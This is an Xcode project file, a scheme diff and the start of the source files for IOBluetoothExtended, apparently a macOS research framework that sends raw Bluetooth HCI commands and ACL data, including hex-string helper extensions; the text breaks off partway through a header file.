8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31744122D10516004B9604 /* IOBluetoothHostController.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C57A7422333A6E100037C3D /* HCICommunicator.m */; };
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C57A7412333A6D000037C3D /* HCICommunicator.h */; settings = {ATTRIBUTES = (Public, ); }; };
8C72A82823339457001A9806 /* IOBE.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C72A82723339457001A9806 /* IOBE.m */; };
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8CE61E5C232AE8D20086419F /* Extensions.swift */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
8C31742B22D1049E004B9604 /* PBXContainerItemProxy */ = {
isa = PBXContainerItemProxy;
containerPortal = 8C31741722D1049D004B9604 /* Project object */;
proxyType = 1;
remoteGlobalIDString = 8C31741F22D1049D004B9604;
remoteInfo = IOBluetoothExtended;
};
/* End PBXContainerItemProxy section */
/* Begin PBXFileReference section */
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = HCIDelegate.m; sourceTree = "<group>"; };
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = HCIDelegate.swift; sourceTree = "<group>"; };
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = IOBluetoothExtended.framework; sourceTree = BUILT_PRODUCTS_DIR; };
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBluetoothExtended.h; sourceTree = "<group>"; };
8C31742422D1049D004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = IOBluetoothExtendedTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBluetoothExtendedTests.m; sourceTree = "<group>"; };
8C31743022D1049E004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8C31743A22D104DA004B9604 /* HCIDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCIDelegate.h; sourceTree = "<group>"; };
8C31744122D10516004B9604 /* IOBluetoothHostController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOBluetoothHostController.h; sourceTree = "<group>"; };
8C57A7412333A6D000037C3D /* HCICommunicator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCICommunicator.h; sourceTree = "<group>"; };
8C57A7422333A6E100037C3D /* HCICommunicator.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = HCICommunicator.m; sourceTree = "<group>"; };
8C72A82723339457001A9806 /* IOBE.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBE.m; sourceTree = "<group>"; };
8C72A8322333A100001A9806 /* IOBE.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBE.h; sourceTree = "<group>"; };
8CE61E5C232AE8D20086419F /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
8C31741D22D1049D004B9604 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742622D1049E004B9604 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
8C31741622D1049D004B9604 = {
isa = PBXGroup;
children = (
8C31742222D1049D004B9604 /* IOBluetoothExtended */,
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */,
8C31742122D1049D004B9604 /* Products */,
);
sourceTree = "<group>";
};
8C31742122D1049D004B9604 /* Products */ = {
isa = PBXGroup;
children = (
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */,
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */,
);
name = Products;
sourceTree = "<group>";
};
8C31742222D1049D004B9604 /* IOBluetoothExtended */ = {
isa = PBXGroup;
children = (
8C72A82B2333949C001A9806 /* Util */,
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */,
8C31744122D10516004B9604 /* IOBluetoothHostController.h */,
8C72A8322333A100001A9806 /* IOBE.h */,
8C72A82723339457001A9806 /* IOBE.m */,
8C31743A22D104DA004B9604 /* HCIDelegate.h */,
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */,
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */,
8C57A7412333A6D000037C3D /* HCICommunicator.h */,
8C57A7422333A6E100037C3D /* HCICommunicator.m */,
8CE61E5C232AE8D20086419F /* Extensions.swift */,
8C31742422D1049D004B9604 /* Info.plist */,
);
path = IOBluetoothExtended;
sourceTree = "<group>";
};
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */ = {
isa = PBXGroup;
children = (
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */,
8C31743022D1049E004B9604 /* Info.plist */,
);
path = IOBluetoothExtendedTests;
sourceTree = "<group>";
};
8C72A82B2333949C001A9806 /* Util */ = {
isa = PBXGroup;
children = (
);
path = Util;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXHeadersBuildPhase section */
8C31741B22D1049D004B9604 /* Headers */ = {
isa = PBXHeadersBuildPhase;
buildActionMask = 2147483647;
files = (
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */,
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */,
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */,
8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXHeadersBuildPhase section */
/* Begin PBXNativeTarget section */
8C31741F22D1049D004B9604 /* IOBluetoothExtended */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */;
buildPhases = (
8C31741B22D1049D004B9604 /* Headers */,
8C31741C22D1049D004B9604 /* Sources */,
8C31741D22D1049D004B9604 /* Frameworks */,
8C31741E22D1049D004B9604 /* Resources */,
8C5F1E5923605FFF00945944 /* ShellScript */,
);
buildRules = (
);
dependencies = (
);
name = IOBluetoothExtended;
productName = IOBluetoothExtended;
productReference = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */;
productType = "com.apple.product-type.framework";
};
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */;
buildPhases = (
8C31742522D1049E004B9604 /* Sources */,
8C31742622D1049E004B9604 /* Frameworks */,
8C31742722D1049E004B9604 /* Resources */,
);
buildRules = (
);
dependencies = (
8C31742C22D1049E004B9604 /* PBXTargetDependency */,
);
name = IOBluetoothExtendedTests;
productName = IOBluetoothExtendedTests;
productReference = 8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */;
productType = "com.apple.product-type.bundle.unit-test";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
8C31741722D1049D004B9604 /* Project object */ = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 1100;
ORGANIZATIONNAME = "Davide Toldo";
TargetAttributes = {
8C31741F22D1049D004B9604 = {
CreatedOnToolsVersion = 10.2.1;
LastSwiftMigration = 1030;
};
8C31742822D1049E004B9604 = {
CreatedOnToolsVersion = 10.2.1;
};
};
};
buildConfigurationList = 8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
);
mainGroup = 8C31741622D1049D004B9604;
productRefGroup = 8C31742122D1049D004B9604 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
8C31741F22D1049D004B9604 /* IOBluetoothExtended */,
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
8C31741E22D1049D004B9604 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742722D1049E004B9604 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
8C5F1E5923605FFF00945944 /* ShellScript */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\ncp -r ${BUILT_PRODUCTS_DIR}/${EXECUTABLE_NAME}.framework ../${EXECUTABLE_NAME}.framework\n";
};
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
8C31741C22D1049D004B9604 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8C72A82823339457001A9806 /* IOBE.m in Sources */,
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */,
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */,
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */,
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742522D1049E004B9604 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXTargetDependency section */
8C31742C22D1049E004B9604 /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = 8C31741F22D1049D004B9604 /* IOBluetoothExtended */;
targetProxy = 8C31742B22D1049E004B9604 /* PBXContainerItemProxy */;
};
/* End PBXTargetDependency section */
/* Begin XCBuildConfiguration section */
8C31743222D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "Mac Developer";
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 1;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.14;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = macosx;
VERSIONING_SYSTEM = "apple-generic";
VERSION_INFO_PREFIX = "";
};
name = Debug;
};
8C31743322D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "Mac Developer";
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 1;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.14;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = macosx;
SWIFT_COMPILATION_MODE = wholemodule;
VERSIONING_SYSTEM = "apple-generic";
VERSION_INFO_PREFIX = "";
};
name = Release;
};
8C31743522D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_IDENTITY = "";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEFINES_MODULE = YES;
DEVELOPMENT_TEAM = 27U966V459;
DYLIB_COMPATIBILITY_VERSION = 1;
DYLIB_CURRENT_VERSION = 1;
DYLIB_INSTALL_NAME_BASE = "@rpath";
FRAMEWORK_VERSION = A;
GCC_NO_COMMON_BLOCKS = NO;
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = "";
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
8C31743622D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_IDENTITY = "";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEFINES_MODULE = YES;
DEVELOPMENT_TEAM = 27U966V459;
DYLIB_COMPATIBILITY_VERSION = 1;
DYLIB_CURRENT_VERSION = 1;
DYLIB_INSTALL_NAME_BASE = "@rpath";
FRAMEWORK_VERSION = A;
GCC_NO_COMMON_BLOCKS = NO;
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = "";
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
SWIFT_VERSION = 5.0;
};
name = Release;
};
8C31743822D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_TEAM = M66VH9B6C7;
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/../Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Debug;
};
8C31743922D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_TEAM = M66VH9B6C7;
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/../Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743222D1049E004B9604 /* Debug */,
8C31743322D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743522D1049E004B9604 /* Debug */,
8C31743622D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743822D1049E004B9604 /* Debug */,
8C31743922D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 8C31741722D1049D004B9604 /* Project object */;
}
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1020"
LastUpgradeVersion = "1110"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
@@ -14,10 +14,10 @@
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
BuildableName = "internalblue-ios-proxy"
BlueprintName = "internalblue-ios-proxy"
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
BlueprintIdentifier = "8C31741F22D1049D004B9604"
BuildableName = "IOBluetoothExtended.framework"
BlueprintName = "IOBluetoothExtended"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
@@ -28,9 +28,17 @@
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
<TestableReference
skipped = "NO">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "8C31742822D1049E004B9604"
BuildableName = "IOBluetoothExtendedTests.xctest"
BlueprintName = "IOBluetoothExtendedTests"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</TestableReference>
</Testables>
<AdditionalOptions>
</AdditionalOptions>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
@@ -42,17 +50,6 @@
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
BuildableName = "internalblue-ios-proxy"
BlueprintName = "internalblue-ios-proxy"
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
</BuildableReference>
</MacroExpansion>
<AdditionalOptions>
</AdditionalOptions>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
@@ -63,10 +60,10 @@
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
BuildableName = "internalblue-ios-proxy"
BlueprintName = "internalblue-ios-proxy"
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
BlueprintIdentifier = "8C31741F22D1049D004B9604"
BuildableName = "IOBluetoothExtended.framework"
BlueprintName = "IOBluetoothExtended"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
@@ -0,0 +1,90 @@
//
// Extensions.swift
// IOBluetoothExtended
//
// Created by Davide Toldo on 12.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
import Foundation
extension Data {
struct HexEncodingOptions: OptionSet {
let rawValue: Int
static let upperCase = HexEncodingOptions(rawValue: 1 << 0)
}
func hexEncodedString(options: HexEncodingOptions = []) -> String {
let format = options.contains(.upperCase) ? "%02hhX" : "%02hhx"
return map { String(format: format, $0) }.joined()
}
}
extension String {
init?(_ num: UInt8?) {
if let n = num { self = String(n) }
else { return nil }
}
func separate(every stride: Int = 4, with separator: Character = " ") -> String {
return String(enumerated().map { $0 > 0 && $0 % stride == 0 ? [separator, $1] : [$1]}.joined())
}
func toAscii() -> String {
let pattern = "(0x)?([0-9a-f]{2})"
let regex = try! NSRegularExpression(pattern: pattern, options: .caseInsensitive)
let nsString = self as NSString
let matches = regex.matches(in: self, options: [], range: NSMakeRange(0, nsString.length))
var characters = matches.map {
Character(UnicodeScalar(UInt32(nsString.substring(with: $0.range(at: 2)), radix: 16)!)!)
}
characters = characters.map {
if !$0.isASCII { return "." }
if $0.asciiValue! < 32 { return "." }
if $0.asciiValue! > 130 { return "." }
if $0.isNewline { return "." }
if $0 == "\0" { return "." }
return $0
}
return String(characters)
}
var hexadecimal: Data? {
var data = Data(capacity: count / 2)
let regex = try! NSRegularExpression(pattern: "[0-9a-f]{1,2}", options: .caseInsensitive)
regex.enumerateMatches(in: self, range: NSRange(startIndex..., in: self)) { match, _, _ in
let byteString = (self as NSString).substring(with: match!.range)
let num = UInt8(byteString, radix: 16)!
data.append(num)
}
guard data.count > 0 else { return nil }
return data
}
subscript (i: Int) -> String {
return self[i ..< i + 1]
}
func substring(fromIndex: Int) -> String {
return self[min(fromIndex, count) ..< count]
}
func substring(toIndex: Int) -> String {
return self[0 ..< max(0, toIndex)]
}
subscript (r: Range<Int>) -> String {
let range = Range(uncheckedBounds: (lower: max(0, min(count, r.lowerBound)), upper: min(count, max(0, r.upperBound))))
let start = index(startIndex, offsetBy: range.lowerBound)
let end = index(start, offsetBy: range.upperBound - range.lowerBound)
return String(self[start ..< end])
}
}
extension Sequence where Element == UInt8 {
var data: Data { .init(self) }
var hexa: String { map { .init(format: "%02x", $0) }.joined() }
}
@@ -0,0 +1,21 @@
//
// HCICommunicator.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#ifndef HCICommunicator_h
#define HCICommunicator_h
@interface HCICommunicator: NSObject
+ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2;
+ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2;
@end
#endif /* HCICommunicator_h */
@@ -0,0 +1,70 @@
//
// HCICommunicator.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "HCICommunicator.h"
#import "IOBluetoothExtended.h"
#import <IOBluetoothHostController.h>
@implementation HCICommunicator
+ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
NSData *data = [NSData dataWithBytes:arg1 length:arg2];
uint8_t *command = calloc(arg2, sizeof(uint8_t));
memcpy(command, [data bytes], arg2);
BluetoothHCIRequestID request = 0;
int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Couldn't create error: %08x\n", error);
}
size_t commandSize = 3;
if (arg2 > 2) {
commandSize += command[2];
}
error = BluetoothHCISendRawCommand(request, command, commandSize);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Send HCI command Error: %08x\n", error);
}
sleep(0x1);
BluetoothHCIRequestDelete(request);
}
+ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
NSData *data = [NSData dataWithBytes:arg1 length:arg2];
uint8_t *commandData = calloc(arg2, sizeof(uint8_t));
memcpy(commandData, [data bytes], arg2);
BluetoothHCIRequestID request = 0;
int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Couldn't create error: %08x\n", error);
}
// Read device handle from data
uint16_t handle = commandData[0];
error = BluetoothHCISendRawACLData(commandData, arg2, handle, request);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Send HCI command Error: %08x\n", error);
}
sleep(0x1);
BluetoothHCIRequestDelete(request);
}
@end
@@ -0,0 +1,37 @@
//
// HCIDelegate.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <IOBluetooth/IOBluetooth.h>
#ifndef HCIDelegate_h
#define HCIDelegate_h
@interface HCIDelegate: NSObject
@property (nonatomic, assign) NSString *hostname;
@property (nonatomic, assign) NSString *inject;
@property (nonatomic, assign) NSString *snoop;
@property (nonatomic, assign) int32_t sock_fd;
@property (nonatomic, assign) int32_t client_fd;
@property (nonatomic, assign) Boolean exit_requested;
- (id) initWith:(NSString *)inject and:(NSString*)snoop;
+ (void) setHostname:(NSString *)arg1;
